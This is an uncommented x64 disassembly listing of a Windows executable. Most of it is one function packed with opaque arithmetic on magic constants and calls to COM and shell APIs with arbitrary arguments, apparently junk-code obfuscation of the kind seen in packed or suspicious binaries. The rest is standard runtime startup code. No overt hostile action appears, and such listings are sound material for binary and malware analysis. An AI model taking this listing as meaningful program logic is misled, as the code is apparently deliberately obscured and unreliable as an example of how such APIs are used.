call rax
mov dword [rbp + 0x2020], eax
movzx eax, word [rbp + 0x232e]
movzx eax, ax
mov ecx, eax
call fcn.1400e3972
nop
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
cmp eax, 0x927e4575
je 0x1400e231f
cmp eax, 0xb9d7f472
jne 0x1400e233b
mov rdx, qword [rbp + 0x1fd8]
mov rax, qword [rbp + 0x3798]
add rax, rdx
mov qword [rbp + 0x162e8], rax
mov rax, qword [0x1400fd038]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
lea rax, [rbp + 0x3d50]
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoLockObjectExternal]
call rax
mov dword [rbp + 0x159a8], eax
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x35b4]
sub edx, eax
mov dword [rbp + 0x57c], edx
jmp 0x1400e233b
mov rcx, qword [rbp + 0x4e8]
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
nop
movzx eax, word [rbp + 0x2ee]
cwde
cmp eax, 0xd01
je 0x1400e2356
cmp eax, 0x4460
je 0x1400e2389
jmp 0x1400e2422
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x9c07a9f01c27ab6a
add rax, rdx
mov qword [rbp + 0x4e8], rax
lea rax, [rbp + 0x4e8]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoTaskMemFree]
call rax
jmp 0x1400e23a5
mov rax, qword [rbp + 0x3798]
movabs rdx, 0xa5dff26a7922ccd3
add rax, rdx
mov qword [rbp + 0x162e8], rax
nop
jmp 0x1400e2422
movzx eax, byte [rbp + 0x51f]
movzx eax, al
cmp eax, 0x72
je 0x1400e23bd
cmp eax, 0x74
je 0x1400e23e4
jmp 0x1400e2421
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x3d50]
sub edx, eax
mov dword [section..data], edx
movzx eax, word [rbp + 0x232e]
movzx eax, ax
mov ecx, eax
call fcn.1400e3a71
jmp 0x1400e2421
lea rax, [rbp + 0x644]
mov rdx, rax
mov ecx, 0x33
mov rax, qword [sym.imp.ole32.dll_GetRunningObjectTable]
call rax
mov dword [rbp + 0x2aec], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
nop
nop
lea rax, [rbp + 0xcb0]
mov rdx, rax
mov ecx, 0x3c
mov rax, qword [sym.imp.ole32.dll_CoGetMalloc]
call rax
mov dword [rbp + 0x159a8], eax
movzx eax, word [rbp + 0x302]
cwde
imul edx, eax, 0x720e
movzx eax, word [rbp + 0x2ee]
cwde
cmp edx, eax
jg 0x1400e2474
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
movzx edx, word [rbp + 0x232e]
movzx eax, word [rbp + 0x27c]
add eax, edx
mov word [rbp + 0x4328], ax
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x35b4]
mov r9d, edx
mov r8d, 0x30
mov edx, 0x61
mov ecx, eax
call fcn.1400e3877
nop
mov eax, dword [section..data]
add eax, 0x4cd2d16c
mov dword [rbp + 0x3d50], eax
nop
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x2e78e27cfad83943
add rdx, rcx
mov qword [rax], rdx
lea rdx, [rbp + 0x35b4]
lea rax, [rbp + 0x2320]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoUnmarshalHresult]
call rax
mov dword [rbp + 0x2aec], eax
jmp 0x1400e25d4
mov eax, dword [rbp + 0x35b4]
cmp eax, 0x5bdb6482
je 0x1400e2534
cmp eax, 0xc3dd3b10
jne 0x1400e25d3
movzx eax, word [rbp + 0x232e]
add ax, 0xa14
mov word [rbp + 0x4328], ax
jmp 0x1400e25d3
mov eax, dword [rbp + 0x35b4]
lea edx, [rax - 0x6500edb9]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
cmp edx, eax
jb 0x1400e258e
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x4328]
sub ax, 0x53b
mov word [rbp + 0x232e], ax
mov rax, qword [sym.imp.ole32.dll_CoImpersonateClient]
call rax
mov dword [rbp + 0x159ac], eax
jmp 0x1400e25d2
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x60237f71ccfa18f2
add rdx, rax
mov rax, qword [rbp + 0x4e8]
cmp rdx, rax
jl 0x1400e25d2
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
nop
nop
movabs rax, 0xce1bdc5f1c9c644b
add qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
lea rdx, [rbp + 0x898]
mov rax, qword [rbp + 0x159a0]
mov r9, rdx
mov r8d, 0x8f
mov edx, 0x18
mov rcx, rax
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [rbp + 0x2100], eax
nop
mov rcx, qword [rbp + 0x720]
mov rdx, qword [rbp + 0x4560]
mov rax, qword [rbp + 0x4560]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_FindExecutableA]
call rax
mov qword [rbp + 0x3170], rax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
cwde
lea edx, [rax - 0x779e]
movzx eax, word [rbp + 0x2ee]
cwde
cmp edx, eax
jle 0x1400e26c0
movzx eax, byte [rbp + 0x51f]
xor eax, 0x25
mov byte [rbp + 0x51f], al
mov edx, dword [rbp + 0x35b4]
mov eax, dword [rbp + 0x35b4]
mov r9d, edx
mov r8d, 0x43
mov edx, 0x60
mov ecx, eax
call fcn.1400e3877
jmp 0x1400e273a
movzx eax, word [rbp + 0x2ee]
cwde
lea edx, [rax + 0xaf1]
movzx eax, word [rbp + 0x302]
cwde
cmp edx, eax
jl 0x1400e273a
lea rax, [rbp + 0xcb0]
mov rdx, rax
mov ecx, 0x6c
mov rax, qword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
call rax
mov dword [rbp + 0x16a4], eax
jmp 0x1400e273a
mov rax, qword [rbp + 0x1e88]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_DragFinish]
call rax
movzx eax, word [rbp + 0x4328]
shl eax, 5
mov word [rbp + 0x4328], ax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
or edx, ecx
mov dword [rax], edx
jmp 0x1400e273b
nop
movabs rax, 0xad913e4903a2e614
cmp rax, qword [rbp + 0x162e8]
jb 0x1400e27c2
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
cmp eax, 0xd607e70
jne 0x1400e27b0
movabs rax, 0xb4edd8a1e58acd17
add qword [rbp + 0x162e8], rax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xfd4a4f8b07c34498
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x35b4]
mov eax, dword [rbp + 0x35b4]
mov r9d, edx
mov r8d, 0xffffffb6
mov edx, 0x2c
mov ecx, eax
call fcn.1400e3877
jmp 0x1400e27c2
mov eax, dword [section..data]
xor eax, 0x2038cee8
mov dword [section..data], eax
nop
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
sar rdx, cl
mov qword [rax], rdx
jmp 0x1400e2846
movabs rax, 0x1c7922fc1f819cff
cmp rax, qword [rbp + 0x162e8]
jb 0x1400e2846
mov rax, qword [rbp + 0x2320]
lea rdx, [rbp + 0x35b4]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x28
mov r9d, 0xe3
mov r8d, 0xb7
mov edx, 0x3c
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
call rax
mov dword [rbp + 0x35b4], eax
mov eax, dword [section..data]
sub eax, 0x3a342183
mov dword [section..data], eax
movabs rax, 0xfb738bda56606ee4
add qword [rbp + 0x162e8], rax
lea rdx, [rbp + 0x2aec]
lea rax, [rbp + 0x2aec]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ILSaveToStream]
call rax
mov dword [rbp + 0x2aec], eax
movzx eax, word [rbp + 0x2ee]
or ax, 0x209c
mov word [rbp + 0x2ee], ax
lea rax, [rbp + 0x2ee]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ILCloneFirst]
call rax
mov qword [rbp + 0x898], rax
mov eax, dword [rbp + 0x28ec]
add rsp, 0x164c0
pop rsi
pop rdi
pop rbp
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.1400e4330
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p__acmdln
mov rbx, qword [rax]
test rbx, rbx
jne 0x1400f89cb
jmp 0x1400f8a41
test cl, cl
je 0x1400f89f8
and esi, 1
je 0x1400f89e0
mov esi, 1
call sub.api_ms_win_crt_multibyte_l1_1_0.dll__ismbblead
test eax, eax
je 0x1400f89c7
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x1400f89a8
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x1400f89b6
test cl, cl
je 0x1400f89f8
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x1400f89f8
cmp al, 0x20
jle 0x1400f89e8
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x1400f8a26
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x1400fa600]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x140001450
lea rbx, [0x1400fa260]
jmp 0x1400f89f8